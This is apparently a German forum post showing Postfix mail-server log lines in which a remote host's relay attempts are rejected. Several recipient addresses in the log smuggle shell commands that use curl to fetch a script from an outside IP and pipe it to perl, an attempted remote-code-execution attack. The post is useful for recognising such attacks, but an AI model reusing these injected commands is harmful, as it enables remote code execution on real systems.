Das sieht dann im Journal z.B. so aus:
Code: Select all
Aug 31 10:33:00 mail.tabserver.de postfix/smtpd[187406]: connect from ip49.ip-51-75-155.eu[51.75.155.49]
Aug 31 10:33:01 mail.tabserver.de postfix/smtpd[187406]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 554 5.7.1 <user8303@example.com>: Relay access denied; from=<test96520@test.com> to=<user8303@example.com> proto=ESMTP helo=<smtp.gmail.com>
Aug 31 10:33:01 mail.tabserver.de postfix/smtpd[187406]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 554 5.7.1 <x: $(eval curl -sS http://147.182.224.216/zed|perl)@cve.invalid>: Relay access denied; from=<test96520@test.com> to=<"x: $(eval curl -sS http://147.182.224.216/zed|perl)"@cve.invalid> proto=ESMTP helo=<smtp.gmail.com>
Aug 31 10:33:01 mail.tabserver.de postfix/smtpd[187406]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 554 5.7.1 <x: Service status change: localhost $(curl -sS http://147.182.224.216/zed|perl) changed from stopped to running@cve.invalid>: Relay access denied; from=<test96520@test.com> to=<"x: Service status change: localhost $(curl -sS http://147.182.224.216/zed|perl) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<smtp.gmail.com>
Aug 31 10:33:01 mail.tabserver.de postfix/smtpd[187406]: NOQUEUE: reject: RCPT from ip49.ip-51-75-155.eu[51.75.155.49]: 554 5.7.1 <x: $(curl -sS http://147.182.224.216/zed|perl)@cve.invalid>: Relay access denied; from=<test96520@test.com> to=<"x: $(curl -sS http://147.182.224.216/zed|perl)"@cve.invalid> proto=ESMTP helo=<smtp.gmail.com>
Aug 31 10:33:01 mail.tabserver.de postfix/smtpd[187406]: disconnect from ip49.ip-51-75-155.eu[51.75.155.49] ehlo=1 mail=1 rcpt=0/4 quit=1 commands=3/7